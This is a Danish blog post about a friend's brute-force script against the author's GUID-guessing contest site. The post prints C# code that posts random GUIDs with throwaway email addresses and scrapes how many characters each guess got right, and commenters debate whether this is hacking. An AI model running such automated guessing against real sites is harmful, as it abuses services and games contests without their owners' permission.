Guessaguid.net er blevet hacket…hvordan er det blevet gjort ?


Jeg fik en besked på Messenger igår eftermiddags, en besked af en Jakob Andersen hvor han, flink som han er, meget sødt fortæller mig at han har lavet et angreb på mit elskede projekt Guessaguid.net! Og ikke nok med det, så sender han mig sørme også koden der muliggjorde angrebet.

Jeg var lammet, chokeret, grædefærdig og meget ked af det! Men så gik det op for mig, at jeg havde været heldig og jeg stadig havde mulighed for at rette op på fejlen (det har jeg dog ikke gjort endnu).

Men jeg synes alligevel jeg vil dele Jakobs kode med jer, for selvom det ikke er alverden, så viser det hvor pokkers nemt det er at lave et bruteforce angreb på et site – især hvis sitet udelukkede bliver brugt af udviklere. Dooooh!!!

class Program
    {
        static void Main(string[] args)
        {
            FileStream fs = File.Create("c:\\testdata\\guids.csv");
            StreamWriter sw = new StreamWriter(fs);
            for (int i = 1000; i < 2000; i++)
            {
                Guid g = Guid.NewGuid();
                string RightCharsRegEx = "color:Lime;\">\\s*([0-9]*)</span>";
                WebClient wc = new WebClient();
                wc.Encoding = Encoding.ASCII;
                var values = new System.Collections.Specialized.NameValueCollection();
                values.Add("field1", "guessaguid" + i + "@mailinator.com");
                values.Add("field2", "2"); //Konkurrence identifier
                values.Add("field3", g.ToString());
                byte[] ret = wc.UploadValues("http://guessaguid.net/Home/Index", "POST", values);
                string response = Encoding.UTF8.GetString(ret);
                var regex = new Regex(RightCharsRegEx, RegexOptions.Multiline);
                Match m = regex.Match(response);
                if (m.Success){
                    string correct = m.Groups[1].Captures[0].Value;
                    sw.WriteLine(correct + " " + g);
                    sw.Flush();
                }else{
                    Console.WriteLine("Error getting num chars!");
                }
            }

            sw.Close();
            fs.Close();
        }
    }

 

hacker


Comments (7)

  1. Det må være straf nok at du poster min grimme kode her 😉 Den glimrer jo ved mangel på brug af f.eks. using og seperation of concern 🙂

  2. Brian says:

    Er det ikke lidt af en tilsnigelse at sige, at sitet er blevet hacket? Jakob illustrerer jo blot, at man kan automatisere brugen af dit site.

  3. Emil says:

    Ja jeg sad og troede at han havde kommet ind og rettet i din kode…

  4. Haha, det har jeg godt nok også overvejet en del gange siden jeg så at man fik at vide hvor mange rigtige chars man fik. Smart "brute force" kræver kun 36 * 16 guids for at finde det rigtige i praksis hvis man forsøger et tegn af gangen.. 🙂 Kudos Jakob 😉

  5. @Rasmus 36^16 hvilket er væsentligt flere mulige valg.

    Hvis du vil gætte ‘smart’, kunne du prøve med Marc’s generiske algoritme: http://www.improve.dk/blog/2009/04/29/implementing-a-simple-genetic-algorithm